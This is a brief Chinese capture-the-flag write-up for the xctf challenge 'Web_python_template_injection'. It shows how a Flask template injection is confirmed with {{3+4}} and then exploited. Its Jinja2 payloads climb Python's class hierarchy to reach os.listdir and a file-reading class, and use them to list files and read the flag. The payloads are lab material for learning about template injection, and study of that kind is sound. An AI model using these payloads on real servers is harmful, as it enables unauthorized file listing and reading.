2020.3.31 xctf(Web_python_template_injection)①

根据题意可知python模块注入

测试payload：http://111.198.29.45:31069/{{3+4}}
执行了{{}}中的代码。

{{''.__class__.__mro__[2].__subclasses__()}}

{{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].listdir('.')}}

{{''.__class__.__mro__[2].__subclasses__()[40]('fl4g').read()}}

从零学flask模板注入